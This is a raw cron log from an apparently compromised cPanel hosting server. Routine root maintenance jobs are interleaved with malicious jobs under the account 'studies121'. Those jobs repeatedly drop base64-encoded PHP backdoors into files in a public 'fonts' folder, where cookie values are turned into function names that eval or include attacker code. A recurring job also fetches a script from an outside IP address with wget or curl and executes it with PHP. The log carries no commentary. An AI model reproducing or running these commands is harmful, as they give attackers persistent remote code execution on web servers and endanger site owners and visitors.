Sep  7 11:39:01 ip-184-168-122-23 CROND[18692]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:39:01 ip-184-168-122-23 CROND[18691]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  7 11:39:01 ip-184-168-122-23 CROND[18694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:39:01 ip-184-168-122-23 CROND[18693]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18906]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:40:01 ip-184-168-122-23 CROND[18907]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18909]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18911]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:40:01 ip-184-168-122-23 CROND[18910]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18912]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18913]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:40:01 ip-184-168-122-23 CROND[18914]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:41:01 ip-184-168-122-23 CROND[19029]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:41:01 ip-184-168-122-23 CROND[19031]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:41:01 ip-184-168-122-23 CROND[19032]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:41:01 ip-184-168-122-23 CROND[19034]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:42:01 ip-184-168-122-23 CROND[19163]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:42:01 ip-184-168-122-23 CROND[19164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:42:01 ip-184-168-122-23 CROND[19165]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:42:01 ip-184-168-122-23 CROND[19166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:42:01 ip-184-168-122-23 CROND[19167]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:43:01 ip-184-168-122-23 CROND[19275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:43:01 ip-184-168-122-23 CROND[19276]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:43:01 ip-184-168-122-23 CROND[19277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:43:01 ip-184-168-122-23 CROND[19279]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:44:01 ip-184-168-122-23 CROND[19364]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:44:01 ip-184-168-122-23 CROND[19366]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:44:01 ip-184-168-122-23 CROND[19367]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:44:01 ip-184-168-122-23 CROND[19368]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:44:01 ip-184-168-122-23 CROND[19369]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:45:01 ip-184-168-122-23 CROND[19467]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:45:01 ip-184-168-122-23 CROND[19469]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:45:01 ip-184-168-122-23 CROND[19471]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:45:01 ip-184-168-122-23 CROND[19470]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:45:01 ip-184-168-122-23 CROND[19472]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  7 11:45:01 ip-184-168-122-23 CROND[19468]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:46:01 ip-184-168-122-23 CROND[19591]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:46:01 ip-184-168-122-23 CROND[19593]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:46:01 ip-184-168-122-23 CROND[19596]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:46:01 ip-184-168-122-23 CROND[19594]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:46:01 ip-184-168-122-23 CROND[19599]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  7 11:46:01 ip-184-168-122-23 CROND[19602]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  7 11:46:01 ip-184-168-122-23 CROND[19601]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:47:01 ip-184-168-122-23 CROND[19693]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:47:01 ip-184-168-122-23 CROND[19694]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:47:01 ip-184-168-122-23 CROND[19697]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:47:01 ip-184-168-122-23 CROND[19696]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:48:01 ip-184-168-122-23 CROND[19887]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:48:01 ip-184-168-122-23 CROND[19886]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:48:01 ip-184-168-122-23 CROND[19890]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:48:01 ip-184-168-122-23 CROND[19889]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:48:01 ip-184-168-122-23 CROND[19888]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:49:01 ip-184-168-122-23 CROND[20009]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:49:01 ip-184-168-122-23 CROND[20010]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:49:01 ip-184-168-122-23 CROND[20011]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:49:01 ip-184-168-122-23 CROND[20012]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:50:01 ip-184-168-122-23 CROND[20131]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  7 11:50:01 ip-184-168-122-23 CROND[20132]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  7 11:50:01 ip-184-168-122-23 CROND[20133]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20144]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20146]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20147]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20145]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20148]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  7 11:50:01 ip-184-168-122-23 CROND[20149]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
